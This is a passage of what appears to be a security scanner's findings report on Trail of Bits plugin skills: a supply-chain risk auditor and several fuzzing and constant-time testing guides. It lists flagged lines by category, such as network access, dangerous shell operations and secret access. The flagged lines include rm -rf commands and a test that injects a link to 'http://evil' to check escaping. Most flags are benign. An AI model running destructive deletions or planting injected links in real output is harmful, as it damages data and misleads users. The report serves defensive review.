    Repository URLs go under `third_party` and nowhere else. Registry identifiers like `p/python` go under a language key; a `https://…` there fails the identifier check and the script exits
  • Network accessline 278
    go under a language key; a `https://…` there fails the identifier check and the script exits
  • Network accessline 309
    Repository URLs go under `third_party` and nowhere else. A `https://…` under a language key
  • Dangerous shell operationline 392
    [ -n "$OUTPUT_DIR" ] && rm -rf "$OUTPUT_DIR/repos"

plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/SKILL.md

  • Broad permissionsline 1
    Read Write Bash Glob Grep

plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/collect.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 127
    name = entry.get("name") or key.rsplit("node_modules/", 1)[1]             resolved = str(entry.get("resolved") or "")             if entry.get("integrity") and resolved.startswith("https://registry.npmjs.org/"):
  • Network accessline 128
    resolved = str(entry.get("resolved") or "")             if entry.get("integrity") and resolved.startswith("https://registry.npmjs.org/"):                 out.append(("npm", name, entry["version"], bool(entry.get("dev"))))
  • Network accessline 129
    if entry.get("integrity") and resolved.startswith("https://registry.npmjs.org/"):
  • Network accessline 140
    f"apply to it"                         )                         if not resolved.startswith("https://registry.npmjs.org/")
  • Network accessline 141
    )                         if not resolved.startswith("https://registry.npmjs.org/")                         else "lockfile entry carries no integrity hash",
  • Network accessline 142
    if not resolved.startswith("https://registry.npmjs.org/")

plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/model.py

  • Executable scriptline 1
    Executable file

plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/render.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/sources.py

  • Executable scriptline 1
    Executable file
  • Network accessline 205
    data = json.dumps(payload).encode() if payload is not None else None         request = urllib.request.Request(url, data=data, headers={**UA, **headers}, method=method)
  • Network accessline 206
    request = urllib.request.Request(url, data=data, headers={**UA, **headers}, method=method)
  • Network accessline 302
    query["version"] = version             payload["queries"].append(query)         data = http.post_json("https://api.osv.dev/v1/querybatch", payload)
  • Network accessline 303
    payload["queries"].append(query)         data = http.post_json("https://api.osv.dev/v1/querybatch", payload)         results = data.get("results", [])
  • Network accessline 304
    data = http.post_json("https://api.osv.dev/v1/querybatch", payload)
  • Network accessline 352
    quoted = urllib.parse.quote(name, safe="@").replace("/", "%2F")     doc = http.get_json(f"https://registry.npmjs.org/{quoted}")
  • Network accessline 353
    doc = http.get_json(f"https://registry.npmjs.org/{quoted}")
  • Network accessline 374
    def npm_downloads(http: Http, name: str) -> int:     quoted = urllib.parse.quote(name, safe="@").replace("/", "%2F")     data = http.get_json(f"https://api.npmjs.org/downloads/point/last-week/{quoted}")
  • Network accessline 375
    quoted = urllib.parse.quote(name, safe="@").replace("/", "%2F")     data = http.get_json(f"https://api.npmjs.org/downloads/point/last-week/{quoted}")     count = data.get("downloads")
  • Network accessline 376
    data = http.get_json(f"https://api.npmjs.org/downloads/point/last-week/{quoted}")
  • Network accessline 396
    doc = http.get_json(f"https://pypi.org/pypi/{name}/json")
  • Network accessline 439
    escaped = re.sub(r"[A-Z]", lambda m: "!" + m.group(0).lower(), module)     return http.get_json(f"https://proxy.golang.org/{escaped}/@latest")
  • Network accessline 440
    return http.get_json(f"https://proxy.golang.org/{escaped}/@latest")
  • Network accessline 459
    quoted = name.replace("/", "%2F")     doc = http.get_json(         f"https://api.deps.dev/v3alpha/systems/{system}/packages/{quoted}/versions/{version}"
  • Network accessline 460
    doc = http.get_json(         f"https://api.deps.dev/v3alpha/systems/{system}/packages/{quoted}/versions/{version}"     )
  • Network accessline 461
    f"https://api.deps.dev/v3alpha/systems/{system}/packages/{quoted}/versions/{version}"
  • Network accessline 484
    deps.dev and the registries return whatever a manifest declared: npm's bare     `owner/repo` shorthand (which means GitHub), `git+https://….git`, scp-style
  • Network accessline 485
    `owner/repo` shorthand (which means GitHub), `git+https://….git`, scp-style
  • Network accessline 557
    [Credential-related source omitted]
  • Network accessline 558
    headers["Authorization"] = f"Bearer {token}"     doc = http.get_json(f"https://api.github.com/repos/{owner_repo}", headers=headers)     return {
  • Network accessline 559
    doc = http.get_json(f"https://api.github.com/repos/{owner_repo}", headers=headers)
  • Network accessline 588
    for candidate in candidates:         try:             http.get_json(f"https://api.github.com/repos/{candidate}", headers=headers)
  • Network accessline 589
    try:             http.get_json(f"https://api.github.com/repos/{candidate}", headers=headers)             return True
  • Network accessline 590
    http.get_json(f"https://api.github.com/repos/{candidate}", headers=headers)
  • Network accessline 613
    slug = normalize_repo(repo_id)     doc = http.get_json(f"https://api.scorecard.dev/projects/{slug}")
  • Network accessline 614
    doc = http.get_json(f"https://api.scorecard.dev/projects/{slug}")

plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/test_collect.py

  • Executable scriptline 1
    Executable file
  • Network accessline 53
    def test_non_registry_specs_classified():     for spec in ("file:../local", "workspace:*", "git+https://x/y.git", "owner/repo"):
  • Network accessline 54
    for spec in ("file:../local", "workspace:*", "git+https://x/y.git", "owner/repo"):
  • Network accessline 86
    REG = "https://registry.npmjs.org"
  • Network accessline 131
    "node_modules/@acme/private": {                         "version": "3.0.0",                         "resolved": "https://npm.acme.internal/@acme/private/-/private-3.0.0.tgz",
  • Network accessline 132
    "version": "3.0.0",                         "resolved": "https://npm.acme.internal/@acme/private/-/private-3.0.0.tgz",                         "integrity": "sha512-x",
  • Network accessline 133
    "resolved": "https://npm.acme.internal/@acme/private/-/private-3.0.0.tgz",
  • Network accessline 210
    'name = "Left_Pad"',                 'version = "1.0.0"',                 'source = { registry = "https://pypi.org/simple" }',
  • Network accessline 211
    'version = "1.0.0"',                 'source = { registry = "https://pypi.org/simple" }',             ]
  • Network accessline 212
    'source = { registry = "https://pypi.org/simple" }',
  • Network accessline 237
    'name = "real"',                 'version = "2.0.0"',                 'source = { registry = "https://pypi.org/simple" }',
  • Network accessline 238
    'version = "2.0.0"',                 'source = { registry = "https://pypi.org/simple" }',             ]
  • Network accessline 239
    'source = { registry = "https://pypi.org/simple" }',
  • Network accessline 384
    OSV = "https://api.osv.dev/v1/querybatch"
  • Network accessline 491
    PROXY = "https://proxy.golang.org"
  • Network accessline 545
    )     pushed = (datetime.now(UTC) - timedelta(days=10)).isoformat()     gh = "https://api.github.com/repos"
  • Network accessline 546
    pushed = (datetime.now(UTC) - timedelta(days=10)).isoformat()     gh = "https://api.github.com/repos"     responses = {
  • Network accessline 547
    gh = "https://api.github.com/repos"
  • Network accessline 548
    responses = {         ("GET", "https://registry.npmjs.org/tiny-dep", ""): {             "dist-tags": {"latest": "1.2.3"},
  • Network accessline 549
    ("GET", "https://registry.npmjs.org/tiny-dep", ""): {
  • Network accessline 551
    "versions": {"1.2.3": {"dist": {}}},             "maintainers": [{"name": "alice"}, {"name": "bob"}],             "repository": {"url": "git+https://github.com/acme/tiny-dep.git"},
  • Network accessline 552
    "maintainers": [{"name": "alice"}, {"name": "bob"}],             "repository": {"url": "git+https://github.com/acme/tiny-dep.git"},         },
  • Network accessline 553
    "repository": {"url": "git+https://github.com/acme/tiny-dep.git"},
  • Network accessline 554
    },         ("GET", "https://registry.npmjs.org/ghost-dep", ""): None,         ("GET", "https://api.npmjs.org/downloads/point/last-week/tiny-dep", ""): {
  • Network accessline 555
    ("GET", "https://registry.npmjs.org/ghost-dep", ""): None,
  • Network accessline 556
    ("GET", "https://api.npmjs.org/downloads/point/last-week/tiny-dep", ""): {
  • Network accessline 557
    "downloads": 5000         },         ("GET", "https://api.npmjs.org/downloads/point/last-week/ghost-dep", ""): None,
  • Network accessline 558
    },         ("GET", "https://api.npmjs.org/downloads/point/last-week/ghost-dep", ""): None,         (
  • Network accessline 559
    ("GET", "https://api.npmjs.org/downloads/point/last-week/ghost-dep", ""): None,
  • Network accessline 560
    (             "GET",             "https://api.deps.dev/v3alpha/systems/npm/packages/ghost-dep/versions/9.9.9",
  • Network accessline 561
    "GET",             "https://api.deps.dev/v3alpha/systems/npm/packages/ghost-dep/versions/9.9.9",             "",
  • Network accessline 562
    "https://api.deps.dev/v3alpha/systems/npm/packages/ghost-dep/versions/9.9.9",
  • Network accessline 565
    ("GET", f"{gh}/acme/tiny-dep", ""): {"pushed_at": pushed, "archived": False},         ("GET", f"{gh}/acme/tiny-dep/contents/SECURITY.md", ""): {},         ("GET", "https://api.scorecard.dev/projects/github.com/acme/tiny-dep", ""): {
  • Network accessline 566
    ("GET", f"{gh}/acme/tiny-dep/contents/SECURITY.md", ""): {},         ("GET", "https://api.scorecard.dev/projects/github.com/acme/tiny-dep", ""): {             "checks": [
  • Network accessline 567
    ("GET", "https://api.scorecard.dev/projects/github.com/acme/tiny-dep", ""): {
  • Network accessline 635
    )     pushed = (datetime.now(UTC) - timedelta(days=10)).isoformat()     gh = "https://api.github.com/repos"
  • Network accessline 636
    pushed = (datetime.now(UTC) - timedelta(days=10)).isoformat()     gh = "https://api.github.com/repos"     seeded_http(
  • Network accessline 637
    gh = "https://api.github.com/repos"
  • Network accessline 644
    ("GET", "https://registry.npmjs.org/tiny-dep", ""): {
  • Network accessline 646
    "versions": {"1.2.3": {"dist": {}}},                 "maintainers": [{"name": "alice"}, {"name": "bob"}],                 "repository": {"url": "git+https://github.com/acme/tiny-dep.git"},
  • Network accessline 647
    "maintainers": [{"name": "alice"}, {"name": "bob"}],                 "repository": {"url": "git+https://github.com/acme/tiny-dep.git"},             },
  • Network accessline 648
    "repository": {"url": "git+https://github.com/acme/tiny-dep.git"},
  • Network accessline 649
    },             ("GET", "https://api.npmjs.org/downloads/point/last-week/tiny-dep", ""): {                 "downloads": 5000
  • Network accessline 650
    ("GET", "https://api.npmjs.org/downloads/point/last-week/tiny-dep", ""): {
  • Network accessline 653
    ("GET", f"{gh}/acme/tiny-dep", ""): {"pushed_at": pushed, "archived": False},             ("GET", f"{gh}/acme/tiny-dep/contents/SECURITY.md", ""): {},             ("GET", "https://api.scorecard.dev/projects/github.com/acme/tiny-dep", ""): {
  • Network accessline 654
    ("GET", f"{gh}/acme/tiny-dep/contents/SECURITY.md", ""): {},             ("GET", "https://api.scorecard.dev/projects/github.com/acme/tiny-dep", ""): {                 "checks": [{"name": "Dangerous-Workflow", "score": 10}]
  • Network accessline 655
    ("GET", "https://api.scorecard.dev/projects/github.com/acme/tiny-dep", ""): {
  • Network accessline 868
    http = sources.Http(project / ".cache", offline=True)         path = http._path("GET", "https://example.com/x")
  • Network accessline 869
    path = http._path("GET", "https://example.com/x")
  • Network accessline 871
    http.get_json("https://example.com/x")          # cache read
  • Access to secretsline 894
    [Credential-related source omitted]

plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/test_model.py

  • Executable scriptline 1
    Executable file

plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/test_render.py

  • Executable scriptline 1
    Executable file
  • Network accessline 337
    art["scan"]["path"] = "/tmp/pkg [v2] | beta"     art["scan"]["commit"] = "abc`def"     art["notes"] = ["see [click](http://evil) for details"]
  • Network accessline 338
    art["scan"]["commit"] = "abc`def"     art["notes"] = ["see [click](http://evil) for details"]     text = render(art)
  • Network accessline 339
    art["notes"] = ["see [click](http://evil) for details"]
  • Network accessline 345
    assert "see \\[click](http://evil)" in text

plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/test_sources.py

  • Executable scriptline 1
    Executable file
  • Network accessline 38
    ("raw", "expected"),     [         ("git+https://github.com/a/b.git", "github.com/a/b"),
  • Network accessline 39
    [         ("git+https://github.com/a/b.git", "github.com/a/b"),         ("git@github.com:a/b.git", "github.com/a/b"),
  • Network accessline 40
    ("git+https://github.com/a/b.git", "github.com/a/b"),
  • Network accessline 44
    ("github:a/b", "github.com/a/b"),         ("gitlab:a/b", "gitlab.com/a/b"),         ("https://github.com/psf/requests/blob/main/README.md", "github.com/psf/requests"),
  • Network accessline 45
    ("gitlab:a/b", "gitlab.com/a/b"),         ("https://github.com/psf/requests/blob/main/README.md", "github.com/psf/requests"),         ("https://www.GitHub.com/a/b/", "github.com/a/b"),
  • Network accessline 46
    ("https://github.com/psf/requests/blob/main/README.md", "github.com/psf/requests"),
  • Network accessline 47
    ("https://www.GitHub.com/a/b/", "github.com/a/b"),
  • Network accessline 48
    ("https://example.com/foo", "example.com/foo"),
  • Network accessline 56
    http = Http(tmp_path, offline=True)     with pytest.raises(RepoIdentifierError):         github_repo(http, "https://sr.ht/~someone/project", None)
  • Network accessline 58
    github_repo(http, "https://sr.ht/~someone/project", None)
  • Network accessline 112
    def test_offline_serves_seeded_entries(tmp_path: Path):     http = Http(tmp_path, offline=True)     seed(http, "GET", "https://example.com/x", {"ok": 1})
  • Network accessline 113
    http = Http(tmp_path, offline=True)     seed(http, "GET", "https://example.com/x", {"ok": 1})     assert http.get_json("https://example.com/x") == {"ok": 1}
  • Network accessline 114
    seed(http, "GET", "https://example.com/x", {"ok": 1})
  • Network accessline 115
    assert http.get_json("https://example.com/x") == {"ok": 1}
  • Network accessline 119
    def test_cached_404_stays_not_found(tmp_path: Path):     http = Http(tmp_path, offline=True)     seed(http, "GET", "https://example.com/gone", None)
  • Network accessline 120
    http = Http(tmp_path, offline=True)     seed(http, "GET", "https://example.com/gone", None)     with pytest.raises(NotFound):
  • Network accessline 121
    seed(http, "GET", "https://example.com/gone", None)
  • Network accessline 123
    http.get_json("https://example.com/gone")
  • Network accessline 127
    http = Http(tmp_path, offline=True)     with pytest.raises(Unavailable, match="offline"):         http.get_json("https://example.com/never-fetched")
  • Network accessline 129
    http.get_json("https://example.com/never-fetched")
  • Network accessline 132
    def test_truncated_cache_entry_is_dropped(tmp_path: Path):     http = Http(tmp_path, offline=True)     path = seed(http, "GET", "https://example.com/x", {"ok": 1})
  • Network accessline 133
    http = Http(tmp_path, offline=True)     path = seed(http, "GET", "https://example.com/x", {"ok": 1})     path.write_text('{"__meta": {"fetched_at"')
  • Network accessline 134
    path = seed(http, "GET", "https://example.com/x", {"ok": 1})
  • Network accessline 135
    path.write_text('{"__meta": {"fetched_at"')     with pytest.raises(Unavailable):         http.get_json("https://example.com/x")
  • Network accessline 136
    with pytest.raises(Unavailable):         http.get_json("https://example.com/x")     assert not path.exists()
  • Network accessline 137
    http.get_json("https://example.com/x")
  • Network accessline 143
    http = Http(tmp_path, offline=True)     path = seed(http, "GET", "https://example.com/x", {"ok": 1})
  • Network accessline 144
    path = seed(http, "GET", "https://example.com/x", {"ok": 1})
  • Network accessline 147
    with pytest.raises(Unavailable):         http.get_json("https://example.com/x")
  • Network accessline 148
    http.get_json("https://example.com/x")
  • Network accessline 188
    seed(http, "GET", "https://example.com/x", {"ok": 1})
  • Network accessline 189
    assert http.get_json("https://example.com/x") == {"ok": 1}
  • Network accessline 192
    def test_auth_marker_partitions_the_cache(tmp_path: Path):     anon = Http(tmp_path, offline=True, auth_marker="anon")     seed(anon, "GET", "https://api.github.com/repos/a/b", None)
  • Network accessline 193
    anon = Http(tmp_path, offline=True, auth_marker="anon")     seed(anon, "GET", "https://api.github.com/repos/a/b", None)     authed = Http(tmp_path, offline=True, auth_marker="gh")
  • Network accessline 194
    seed(anon, "GET", "https://api.github.com/repos/a/b", None)
  • Network accessline 197
    with pytest.raises(Unavailable) as excinfo:         authed.get_json("https://api.github.com/repos/a/b")
  • Network accessline 198
    authed.get_json("https://api.github.com/repos/a/b")
  • Network accessline 202
    def test_stale_entries_refetch_when_online(tmp_path: Path, monkeypatch: pytest.MonkeyPatch):     http = Http(tmp_path, offline=False)     path = seed(http, "GET", "https://example.com/x", {"old": True})
  • Network accessline 203
    http = Http(tmp_path, offline=False)     path = seed(http, "GET", "https://example.com/x", {"old": True})     stored = json.loads(path.read_text())
  • Network accessline 204
    path = seed(http, "GET", "https://example.com/x", {"old": True})
  • Network accessline 207
    path.write_text(json.dumps(stored))     monkeypatch.setattr(http, "_send", lambda *a: {"fresh": True})     assert http.get_json("https://example.com/x") == {"fresh": True}
  • Network accessline 208
    monkeypatch.setattr(http, "_send", lambda *a: {"fresh": True})     assert http.get_json("https://example.com/x") == {"fresh": True}     assert http.stats["stale"] == 1
  • Network accessline 209
    assert http.get_json("https://example.com/x") == {"fresh": True}
  • Network accessline 221
    monkeypatch.setattr(http, "_open", lambda *a: responses.pop(0))     monkeypatch.setattr(sources.time, "sleep", lambda s: None)     assert http.get_json("https://api.github.com/repos/a/b") == {"ok": 1}
  • Network accessline 223
    assert http.get_json("https://api.github.com/repos/a/b") == {"ok": 1}
  • Network accessline 225
    responses.extend([_Response(429, ""), _Response(429, "")])     with pytest.raises(Unavailable, match="rate limited"):         http.get_json("https://api.github.com/repos/a/b2")
  • Network accessline 227
    http.get_json("https://api.github.com/repos/a/b2")
  • Network accessline 255
    try:         http = Http(tmp_path, offline=False)         url = f"http://127.0.0.1:{server.server_port}/old"
  • Network accessline 256
    http = Http(tmp_path, offline=False)         url = f"http://127.0.0.1:{server.server_port}/old"         assert http.get_json(url) == {"moved": True}
  • Network accessline 257
    url = f"http://127.0.0.1:{server.server_port}/old"

plugins/testing-handbook-skills/skills/address-sanitizer/SKILL.md

  • Network accessline 187
    See: [libFuzzer: AddressSanitizer](https://github.com/google/fuzzing/blob/master/docs/good-fuzz-target.md#memory-error-detection)
  • Network accessline 208
    See: [AFL++: AddressSanitizer](https://github.com/AFLplusplus/AFLplusplus/blob/stable/docs/fuzzing_in_depth.md#a-using-sanitizers)
  • Network accessline 231
    See: [cargo-fuzz: AddressSanitizer](https://rust-fuzz.github.io/book/cargo-fuzz/tutorial.html#sanitizers)
  • Network accessline 286
    **[AddressSanitizer on Google Sanitizers Wiki](https://github.com/google/sanitizers/wiki/AddressSanitizer)**
  • Network accessline 295
    **[SanitizerCommonFlags](https://github.com/google/sanitizers/wiki/SanitizerCommonFlags)**
  • Network accessline 303
    **[AddressSanitizerFlags](https://github.com/google/sanitizers/wiki/AddressSanizerFlags)**
  • Network accessline 311
    **[AddressSanitizer FAQ](https://github.com/google/sanitizers/wiki/AddressSanitizer#faq)**
  • Network accessline 319
    **[Clang AddressSanitizer Documentation](https://clang.llvm.org/docs/AddressSanitizer.html)**
  • Network accessline 326
    **[GCC Instrumentation Options](https://gcc.gnu.org/onlinedocs/gcc/Instrumentation-Options.html#index-fsanitize_003daddress)**
  • Network accessline 333
    **[AddressSanitizer: A Fast Address Sanity Checker (USENIX Paper)](https://www.usenix.org/sites/default/files/conference/protected-files/serebryany_atc12_slides.pdf)**

plugins/testing-handbook-skills/skills/address-sanitizer/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/aflpp/SKILL.md

  • Network accessline 74
    git clone --depth 1 --branch stable https://github.com/AFLplusplus/AFLplusplus
  • Network accessline 81
    Refer to the [Dockerfile](https://github.com/AFLplusplus/AFLplusplus/blob/stable/Dockerfile) for Ubuntu version requirements and dependencies. Set `LLVM_CONFIG` to specify Clang version (e.g., `llvm-config-18`).
  • Network accessline 328
    AFL++ has [many environment variables](https://aflplus.plus/docs/env_variables/), but most are niche. These are the ones that matter in practice.
  • Network accessline 575
    curl -O https://raw.githubusercontent.com/AFLplusplus/AFLplusplus/stable/utils/argv_fuzzing/argv-fuzz-inl.h
  • Network accessline 628
    **[AFL++ GitHub Repository](https://github.com/AFLplusplus/AFLplusplus)**
  • Network accessline 631
    **[Fuzzing in Depth](https://raw.githubusercontent.com/AFLplusplus/AFLplusplus/refs/heads/stable/docs/fuzzing_in_depth.md)**
  • Network accessline 634
    **[AFL++ Under The Hood](https://blog.ritsec.club/posts/afl-under-hood/)**
  • Network accessline 637
    **[AFL++: Combining Incremental Steps of Fuzzing Research](https://www.usenix.org/system/files/woot20-paper-fioraldi.pdf)**
  • Network accessline 642
    - [Fuzzing cURL](https://blog.trailofbits.com/2023/02/14/curl-audit-fuzzing-libcurl-command-line-interface/) - Trail of Bits blog post on using AFL++ argument fuzzing for cURL
  • Dangerous shell operationline 643
    - [Sudo Vulnerability Walkthrough](https://www.youtube.com/playlist?list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx) - LiveOverflow series on rediscovering CVE-2021-3156
  • Network accessline 643
    - [Sudo Vulnerability Walkthrough](https://www.youtube.com/playlist?list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx) - LiveOverflow series on rediscovering CVE-2021-3156
  • Network accessline 644
    - [Rediscovery of libpng bug](https://www.youtube.com/watch?v=PJLWlmp8CDM) - LiveOverflow video on finding CVE-2023-4863

plugins/testing-handbook-skills/skills/aflpp/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/atheris/SKILL.md

  • Network accessline 59
    - Python 3.7 or later - Recent version of clang (preferably [latest release](https://github.com/llvm/llvm-project/releases))
  • Network accessline 60
    - Recent version of clang (preferably [latest release](https://github.com/llvm/llvm-project/releases))
  • Network accessline 61
    - For Docker users: [Docker Desktop](https://www.docker.com/products/docker-desktop/)
  • Network accessline 75
    # https://hub.docker.com/_/python
  • Dangerous shell operationline 82
    RUN apt update && apt install -y      ca-certificates      wget      && rm -rf /var/lib/apt/lists/*
  • Network accessline 82
    RUN apt update && apt install -y \     ca-certificates \     wget \
  • Network accessline 83
    ca-certificates \     wget \     && rm -rf /var/lib/apt/lists/*
  • Network accessline 84
    wget \
  • Dangerous shell operationline 85
    && rm -rf /var/lib/apt/lists/*
  • Network accessline 87
    # LLVM builds version 15-19 for Debian 12 (Bookworm) # https://apt.llvm.org/bookworm/dists/
  • Network accessline 88
    # https://apt.llvm.org/bookworm/dists/
  • Network accessline 91
    RUN echo "deb http://apt.llvm.org/bookworm/ llvm-toolchain-bookworm-$LLVM_VERSION main" > /etc/apt/sources.list.d/llvm.list RUN echo "deb-src http://apt.llvm.org/bookworm/ llvm-toolchain-bookworm-$LLVM_VERSION main" >> /etc/apt/sources.list
  • Network accessline 92
    RUN echo "deb-src http://apt.llvm.org/bookworm/ llvm-toolchain-bookworm-$LLVM_VERSION main" >> /etc/apt/sources.list.d/llvm.list
  • Network accessline 93
    RUN wget -qO- https://apt.llvm.org/llvm-snapshot.gpg.key > /etc/apt/trusted.gpg.d/apt.llvm.org.asc
  • Dangerous shell operationline 95
    RUN apt update && apt install -y      build-essential      clang-$LLVM_VERSION      && rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 98
    && rm -rf /var/lib/apt/lists/*
  • Network accessline 108
    # https://github.com/google/atheris/blob/master/native_extension_fuzzing.md#step-1-compiling-your-extension
  • Network accessline 117
    # Allow Atheris to find fuzzer sanitizer shared libs # https://github.com/google/atheris#building-from-source
  • Network accessline 118
    # https://github.com/google/atheris#building-from-source
  • Network accessline 122
    # https://github.com/google/atheris/blob/master/native_extension_fuzzing.md#option-a-sanitizerlibfuzzer-preloads
  • Network accessline 125
    # 1. Skip memory allocation failures for now, they are common, and low impact (DoS) # 2. https://github.com/google/atheris/blob/master/native_extension_fuzzing.md#leak-detection
  • Network accessline 126
    # 2. https://github.com/google/atheris/blob/master/native_extension_fuzzing.md#leak-detection
  • Network accessline 285
    > **Important:** When running locally (not in Docker), you must [set `LD_PRELOAD` manually](https://github.com/google/atheris/blob/master/native_extension_fuzzing.md#option-a-sanitizerlibfuzzer-preloads).
  • Network accessline 468
    **[Atheris GitHub Repository](https://github.com/google/atheris)**
  • Network accessline 471
    **[Native Extension Fuzzing Guide](https://github.com/google/atheris/blob/master/native_extension_fuzzing.md)**
  • Network accessline 474
    **[Continuously Fuzzing Python C Extensions](https://blog.trailofbits.com/2024/02/23/continuously-fuzzing-python-c-extensions/)**
  • Network accessline 477
    **[ClusterFuzzLite Python Integration](https://google.github.io/clusterfuzzlite/build-integration/python-lang/)**

plugins/testing-handbook-skills/skills/atheris/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/cargo-fuzz/SKILL.md

  • Network accessline 56
    - Rust and Cargo installed via [rustup](https://rustup.rs/)
  • Network accessline 137
    cargo-fuzz integrates with the [arbitrary](https://github.com/rust-fuzz/arbitrary) crate for structure-aware fuzzing:
  • Network accessline 340
    The [ogg crate](https://github.com/RustAudio/ogg) parses Ogg media container files. Parsers are excellent fuzzing targets because they handle untrusted data.
  • Network accessline 343
    # Clone and initialize git clone https://github.com/RustAudio/ogg.git
  • Network accessline 344
    git clone https://github.com/RustAudio/ogg.git
  • Network accessline 396
    mkdir fuzz/corpus/fuzz_target_1/ curl -o fuzz/corpus/fuzz_target_1/320x240.ogg \
  • Network accessline 397
    curl -o fuzz/corpus/fuzz_target_1/320x240.ogg \
  • Network accessline 398
    https://commons.wikimedia.org/wiki/File:320x240.ogg
  • Network accessline 445
    **[Rust Fuzz Book - cargo-fuzz](https://rust-fuzz.github.io/book/cargo-fuzz.html)**
  • Network accessline 448
    **[arbitrary crate documentation](https://docs.rs/arbitrary/latest/arbitrary/)**
  • Network accessline 451
    **[cargo-fuzz GitHub Repository](https://github.com/rust-fuzz/cargo-fuzz)**

plugins/testing-handbook-skills/skills/cargo-fuzz/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/testing-handbook-skills/skills/constant-time-testing/SKILL.md

  • Network accessline 13
    Timing attacks were introduced by [Kocher](https://paulkocher.com/doc/TimingAttacks.pdf) in 1996. Since then, researchers have demonstrated practical attacks on RSA ([Schindler](https://link.springer.com/content/pdf/10.1007/3-540-44499-8_8.
  • Network accessline 57
    **Array access** dependent on secrets enables cache-timing attacks, as shown in [AES cache-timing research](https://cr.yp.to/antiforgery/cachetiming-20050414.pdf).
  • Network accessline 61
    When patterns cannot be avoided, employ [masking techniques](https://link.springer.com/chapter/10.1007/978-3-642-38348-9_9) to remove correlation between timing and secrets.
  • Network accessline 134
    **Popular tools:** - [SideTrail](https://github.com/aws/s2n-tls/tree/main/tests/sidetrail)
  • Network accessline 135
    - [SideTrail](https://github.com/aws/s2n-tls/tree/main/tests/sidetrail)
  • Network accessline 136
    - [ct-verif](https://github.com/imdea-software/verifying-constant-time)
  • Network accessline 137
    - [FaCT](https://github.com/plsyssec/fact)
  • Network accessline 146
    **Popular tools:** - [Binsec](https://github.com/binsec/binsec)
  • Network accessline 147
    - [Binsec](https://github.com/binsec/binsec)
  • Network accessline 148
    - [pitchfork](https://github.com/PLSysSec/haybale-pitchfork)
  • Network accessline 157
    **Popular tools:** - [Memsan](https://clang.llvm.org/docs/MemorySanitizer.html): [Tutorial](https://crocs-muni.github.io/ct-tools/tutorials/memsan)
  • Network accessline 158
    - [Memsan](https://clang.llvm.org/docs/MemorySanitizer.html): [Tutorial](https://crocs-muni.github.io/ct-tools/tutorials/memsan)
  • Network accessline 170
    **Popular tools:** - **dudect** (see below) - [tlsfuzzer](https://github.com/tlsfuzzer/tlsfuzzer)
  • Network accessline 172
    - [tlsfuzzer](https://github.com/tlsfuzzer/tlsfuzzer)
  • Network accessline 207
    [Dudect](https://github.com/oreparaz/dudect/) measures execution time for two input classes (fixed vs random) and uses Welch's t-test to detect statistically significant differences.
  • Network accessline 246
    [Timecop](https://post-apocalyptic-crypto.org/timecop/) wraps Valgrind to detect runtime operations dependent on secret memory regions.
  • Network accessline 485
    **[These results must be false: A usability evaluation of constant-time analysis tools](https://www.usenix.org/system/files/sec24fall-prepub-760-fourne.pdf)**
  • Network accessline 488
    **[List of constant-time tools - CROCS](https://crocs-muni.github.io/ct-tools/)**
  • Network accessline 491
    **[Paul Kocher: Timing Attacks on Implementations of Diffie-Hellman, RSA, DSS, and Other Systems](https://paulkocher.com/doc/TimingAttacks.pdf)**
  • Network accessline 494
    **[Remote Timing Attacks are Practical (Brumley & Boneh)](https://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf)**
  • Network accessline 497
    **[Cache-timing attacks on AES](https://cr.yp.to/antiforgery/cachetiming-20050414.pdf)**
  • Network accessline 500
    **[KyberSlash: Division Timings Leak Secrets](https://eprint.iacr.org/2024/1049.pdf)**
  • Network accessline 505
    - [Trail of Bits: Constant-Time Programming](https://www.youtube.com/watch?v=vW6wqTzfz5g) - Overview of constant-time programming principles and tools

plugins/testing-handbook-skills/skills/constant-time-testing/assets/trail-of-bits-mark.svg

  • Network accessline 1
